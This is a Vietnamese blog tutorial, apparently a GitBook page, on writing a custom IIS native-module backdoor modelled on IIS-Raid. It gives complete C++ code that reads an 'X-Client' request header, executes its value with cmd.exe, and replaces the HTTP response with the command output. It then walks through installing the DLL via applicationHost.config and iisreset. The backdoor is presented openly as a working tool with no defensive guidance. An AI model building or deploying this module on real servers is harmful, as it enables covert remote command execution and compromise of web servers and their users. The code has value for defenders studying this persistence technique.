> For the complete documentation index, see [llms.txt](https://twentysick.gitbook.io/twentysick/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://twentysick.gitbook.io/twentysick/sharing/series-phat-minh-lai-cai-banh-xe/iis-native-module-nhung-la-backdoor/tao-iis-raid-phien-ban-cua-rieng-minh....md).

# Tạo IIS-Raid phiên bản của riêng mình...

## Đi tìm ý tưởng

Dựa vào thông tin được cung cấp từ Microsoft, có thể thấy được là mình ***can thiệp được vào quá trình gửi trả Response từ Server về Client*** với cái ***OnSendResponse***

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FNiUtW9bsfWNSkehNnEhe%2Fimage.png?alt=media&amp;token=9917d512-c530-4f26-9431-d935f2d9124b" alt=""><figcaption><p><a href="https://learn.microsoft.com/vi-vn/iis/web-development-reference/native-code-api-reference/chttpmodule-class"><em>https://learn.microsoft.com/vi-vn/iis/web-development-reference/native-code-api-reference/chttpmodule-class</em></a></p></figcaption></figure>

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FvtTV2O6x9Nudns3IrP2n%2Fimage.png?alt=media&amp;token=8bd249aa-ab84-423c-b447-1c6c72d0fb5a" alt=""><figcaption><p><a href="https://learn.microsoft.com/vi-vn/IIS/web-development-reference/native-code-api-reference/chttpmodule-onsendresponse-method"><em>https://learn.microsoft.com/vi-vn/IIS/web-development-reference/native-code-api-reference/chttpmodule-onsendresponse-method</em></a></p></figcaption></figure>

Vậy thì ý tưởng rất đơn giản, mình sẽ viết 1 ***Native Module*** có can thiệp cái *Response* này

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FZ64PuXzDe0gORJteArWL%2Fimage.png?alt=media&amp;token=90427af0-1b64-43f2-9bf1-8738b2a98c91" alt=""><figcaption></figcaption></figure>

Mình sẽ thực hiện đọc Request gửi tới từ Client, check xem trong Header có giá trị mình muốn không. Nếu có, module thì sẽ thực hiện hành vi mình muốn trên Server và ghi đè kết quả lên Response trả về Client từ Server

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FocJzbLYEmqRBigyLPpF2%2Fimage.png?alt=media&amp;token=6d59f73e-f01c-4d9d-98f5-2fbc5b821fc8" alt=""><figcaption></figcaption></figure>

Trong lần này, mình xài giá trị ***X-Client*** để truyền command line mình muốn thực thi trên server

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FevTFEUbppI6KRMebhR0D%2Fimage.png?alt=media&amp;token=a06df9df-3d90-4a07-a693-cfa4f08fc81e" alt=""><figcaption><p><em>Ví dụ về Request và Response mong muốn</em></p></figcaption></figure>

## Cooking

Đầu tiên, mình sẽ lấy format cũng như cách tạo 1 cái IIS Native Module ngay trên trang của Microsoft và tối giản lại 1 chút

*Link:* [*https://learn.microsoft.com/vi-vn/iis/web-development-reference/native-code-api-reference/chttpmodule-onsendresponse-method*](https://learn.microsoft.com/vi-vn/iis/web-development-reference/native-code-api-reference/chttpmodule-onsendresponse-method)

{% code title="main.cpp" expandable="true" %}

```cpp
#include "pch.h"

#define _WINSOCKAPI_
#include <windows.h>
#include <sal.h>
#include <httpserv.h>

// Create the module class.
class CHelloWorld : public CHttpModule {
public:
    REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProvider) {
        
        HRESULT hr;

        // Retrieve a pointer to the response.
        IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
        IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

        /*

                Code here

        */

        // Return processing to the pipeline.
        return RQ_NOTIFICATION_CONTINUE;
    }
};

// Create the module's class factory.
class CHelloWorldFactory : public IHttpModuleFactory {
public:
    HRESULT GetHttpModule(OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator) {

        UNREFERENCED_PARAMETER(pAllocator);

        // Create a new instance.
        CHelloWorld* pModule = new CHelloWorld;

        // Test for an error.
        if (!pModule)
        {
            // Return an error if the factory cannot create the instance.
            return HRESULT_FROM_WIN32(ERROR_NOT_ENOUGH_MEMORY);
        }
        else
        {
            // Return a pointer to the module.
            *ppModule = pModule;
            pModule = NULL;
            // Return a success status.
            return S_OK;
        }
    }

    void Terminate() {
        
        // Remove the class from memory.
        delete this;
    }
};

// Create the module's exported registration function.
HRESULT __stdcall RegisterModule(DWORD dwServerVersion, IHttpModuleRegistrationInfo* pModuleInfo, IHttpServer* pGlobalInfo) {

    UNREFERENCED_PARAMETER(dwServerVersion);
    UNREFERENCED_PARAMETER(pGlobalInfo);

    // Set the request notifications and exit.
    return pModuleInfo->SetRequestNotifications(new CHelloWorldFactory, RQ_SEND_RESPONSE, 0);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {

    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }

    return TRUE;
}

```

{% endcode %}

Ok, tiếp theo là sẽ thực hiện đọc Request từ Client

{% code expandable="true" %}

```cpp
IHttpRequest* pHttpRequest = pHttpContext->GetRequest();

// Cho cái bước ghi đè Response nhé, mình thích load luôn, ờ ờ ờ ờ ờ ờ ờ
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

if (pHttpRequest != NULL) {

    USHORT uComLen = 0;
    CHAR HEADER[] = "X-Client"; // X-Client

    LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
    if (lpCommand != NULL && uComLen != 0) {
        /*
         
        Doing thing
        
        */
    }
}
```

{% endcode %}

Tiếp theo, viết 1 hàm thực thi lệnh

{% code expandable="true" %}

```cpp
DWORD ExecuteCommand(LPCSTR command, vector<BYTE>& outputBuffer) {

    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
    HANDLE hReadPipe, hWritePipe;
    BOOL success = FALSE;

    if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
        return -1;
    }

    ZeroMemory(&si, sizeof(STARTUPINFOA));
    si.cb = sizeof(STARTUPINFOA);
    si.dwFlags |= STARTF_USESTDHANDLES;
    si.hStdOutput = hWritePipe;
    si.hStdError = hWritePipe;

    CHAR cmdCommand[MAX_PATH];

    snprintf(cmdCommand, MAX_PATH, "C:\\Windows\\System32\\cmd.exe /c %s", command);

    if (!CreateProcessA(NULL, cmdCommand, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        CloseHandle(hReadPipe);
        CloseHandle(hWritePipe);
        return -1;
    }
    
    CloseHandle(hWritePipe);
    
    outputBuffer.clear();

    const DWORD tempBufferSize = 4096;
    vector<BYTE> tempBuffer(tempBufferSize);
    DWORD bytesRead;

    while (true) {
        if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0) {
            break;
        }    
        outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead);
    }

    outputBuffer.push_back('\0');
    
    CloseHandle(hReadPipe);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}
```

{% endcode %}

Cuối cùng, mình sẽ thực hiện ghi đè kết quả của hàm trên vào Response trả về Client

{% code expandable="true" %}

```cpp
 lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
 lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

 vector<BYTE> output;

 if (ExecuteCommand(lpCommand, output) == 0) {
     if (!output.empty()) {
     
         pHttpResponse->Clear();
         pHttpResponse->SetHeader(HttpHeaderContentType, "text/plain", (USHORT)strlen("text/plain"), TRUE);

         PCSTR pszBuffer = reinterpret_cast<PCSTR>(output.data());;

         HTTP_DATA_CHUNK dataChunk;
         dataChunk.DataChunkType = HttpDataChunkFromMemory;
         dataChunk.FromMemory.pBuffer = (PVOID)pszBuffer;
         dataChunk.FromMemory.BufferLength = (USHORT)strlen(pszBuffer);

         DWORD cbSent;
         hr = pHttpResponse->WriteEntityChunks(&dataChunk, 1, FALSE, TRUE, &cbSent);


         if (FAILED(hr)) {
             pHttpResponse->SetStatus(500, "Server Error", 0, hr);
         } else {
             pHttpResponse->SetStatus(200, "OK", 0, S_OK);
         }

         return RQ_NOTIFICATION_FINISH_REQUEST;
     }
 }
```

{% endcode %}

Trước khi build, sẽ cần export hàm *RegisterModule*. Này là yêu cầu từ IIS Service rồi. Mình sẽ tạo file .def cho nhanh

{% code title="Source.def" expandable="true" %}

```cpp
LIBRARY "HelloWorld"  
EXPORTS  
    RegisterModule 
```

{% endcode %}

Vậy là về cơ bản, mình đã code xong 1 con hàng ***Backdoor*** là ***IIS Native Module***. Nó sẽ thực hiện đọc giá trị ***X-Client*** trong *header của Request* và *ghi đè kết quả vào Response* trả về.

Đây là phiên bản cơ bản nhất, kiểu gì chả có biến thể hehehe

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FWrVvw2ll0R1w1g9mdXVE%2Fimage.png?alt=media&amp;token=b48a5491-9a2c-4daa-853b-ec3b2123fa92" alt=""><figcaption></figcaption></figure>

## Thử nghiệm và kiểm chứng

Sau khi code xong, thì build và tiến hành test thôi chứ nhỉ :smile:

Ở đây, mình sẽ sử dụng Windows Server 2022 có cài IIS Service và để ở chế độ default

### Cài đặt Native Module

Đầu tiên sẽ copy file vào thư mục đích. Ở đây mình copy luôn vào path default cho tiện (*`%windir%\System32\inetsrv\TestBD.dll`*)

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FVDy5Je0tekA5Z6BZwfXj%2Fimage.png?alt=media&amp;token=67209fa1-f661-4c42-adc5-4368e4740cd4" alt=""><figcaption></figcaption></figure>

Tiếp theo, mình tiến hành dừng toàn bộ tiến trình *w3wp.exe* rồi thực hiện chỉnh sửa file *`%windir%\System32\inetsrv\config\applicationHost.config` .* Thêm giá trị vào 2 tag *`<globalModules>`* và *`<modules>`*

* *`<globalModules>`* kiểu

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FVcMZ2jbOkv2Q9RXkH0qh%2Fimage.png?alt=media&amp;token=fd099ba9-1f83-452f-9046-b115a13127c8" alt=""><figcaption></figcaption></figure>

* *`<modules>`* kiểu

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FfHeJrr0GREBne5G0Fvxn%2Fimage.png?alt=media&amp;token=cbc899d3-27f4-4209-b350-429cc50443ec" alt=""><figcaption></figcaption></figure>

Sau khi thêm và lưu thành công, mình tiến hành khởi động lại IIS Service bằng lệnh

{% code expandable="true" %}

```
iisreset
```

{% endcode %}

Và khi tiến trình *w3wp.exe*, thấy load Native Module mình cài vào mà không bị crash (tức là không bị *WerFault.exe* liên tục cùng với tiến trình bị ngỏm), thì đồng nghĩa là mình đã tiến hành cài đặt thành công :sunglasses:

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2Fc3u9TJY3pLVtBmfwTxTc%2Fimage.png?alt=media&amp;token=77d73766-3e77-47f9-b504-ed82353084b0" alt=""><figcaption></figcaption></figure>

### Kiểm tra thành quả

Kiểm tra chứ nhỉ UwU

* Request bình thường

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2Fsp7XjeaVHpgYbnJq567e%2Fimage.png?alt=media&amp;token=058b4edd-2a3f-4c9d-9f94-b905224d54e9" alt=""><figcaption><p><em>Không có <strong>X-Client</strong></em></p></figcaption></figure>

* Request bất bình thường (Có giá trị ***X-Client***)

<figure><img src="https://3579869334-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqj23826F0xExp2MNexN5%2Fuploads%2FNuFrEQ0dLloPo28aZZUi%2Fimage.png?alt=media&amp;token=087be7ac-051a-4aaf-bf26-829116cc7d83" alt=""><figcaption><p><em>Có <strong>X-Client</strong></em></p></figcaption></figure>

&#x20;***Thằn công mỹ mãn***
